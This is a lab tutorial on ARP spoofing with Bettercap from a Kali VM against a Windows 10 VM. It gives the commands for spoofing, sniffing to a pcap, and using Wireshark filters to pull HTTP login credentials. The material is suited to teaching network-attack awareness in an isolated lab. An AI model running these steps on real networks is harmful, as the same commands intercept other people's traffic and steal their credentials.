ARP Spoofing with Bettercap (Kali →Windows 10)

Objective

- Sniff network traffic using Bettercap on Kali (attacker VM).
- Analyze sniffed data with Wireshark.
- Extract useful information such as login credentials from HTTP traffic.

Lab Setup

- Kali Linux on VMware (Attacker)
- Windows 10 on VMware (Victim)
- Both VMs on the same NAT or Bridged network
- Internet access (for real-world HTTP testing)
- Wireshark installed on Kali (comes preinstalled)

Step 1: Configure Your VMware Network

- Go to `VM > Settings > Network Adapter` in both VMs.
- Set both Kali and Windows 10 to:

- NAT (shares host internet) OR

- Bridged (both appear as separate devices on LAN)

- Ensure both machines have IPs in the same subnet:

```bash
ip a      # on Kali
ipconfig  # on Windows
```

Step 2: Enable IP Forwarding on Kali

```
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
```

Step 3: Launch Bettercap and Start ARP Spoofing

Run Bettercap with the correct interface:

```
sudo bettercap -iface eth0
```

Inside Bettercap console:

```
net.probe on

net.recon on

net.recon.show
```

Find the victim IP (e.g. `192.168.1.10`) and gateway (e.g. `192.168.1.1`), then:

```
set arp.spoof.targets 192.168.1.10

set arp.spoof.fullduplex true

set net.sniff.output /home/kali/arpspoof_capture.pcap

net.sniff on

arp.spoof on
```

Step 4: Generate Test Traffic from Windows 10

1. Open a browser and go to:
    1. testphp.vulnweb.com/login.php

2. OR http://example.com

2. Use fake credentials to log in:

```

Username: admin

Password: 1234

```

Step 5: Stop Spoofing and Sniffing

In Bettercap:

```
arp.spoof off

net.sniff off
```

Step 6: Open and Analyze the .pcap File in Wireshark

1. Open Wireshark in Kali:

```bash

wireshark /home/kali/arpspoof_capture.pcap

```

2. Use filters to find interesting packets:

- HTTP requests:

```

http.request

```

- Filter for POST forms:

```
```

http.request.method == "POST"

```

- Look for login data:

```

http contains "username" || http contains "password"

```

3. Inspect HTTP packets:

- Look at the bottom pane for form data.

- You'll find values like `username=admin&password=1234`.

---

# Example of Leaked Credentials

```
POST /login.php HTTP/1.1

Host: testphp.vulnweb.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 27

username=admin&password=1234
```

---

# Conclusion

- Performed ARP spoofing in a VMware lab.
- Sniffed victim traffic using Bettercap.
- Analyzed the `.pcap` in Wireshark to extract sensitive data.
    - **Prepared by Puru**
```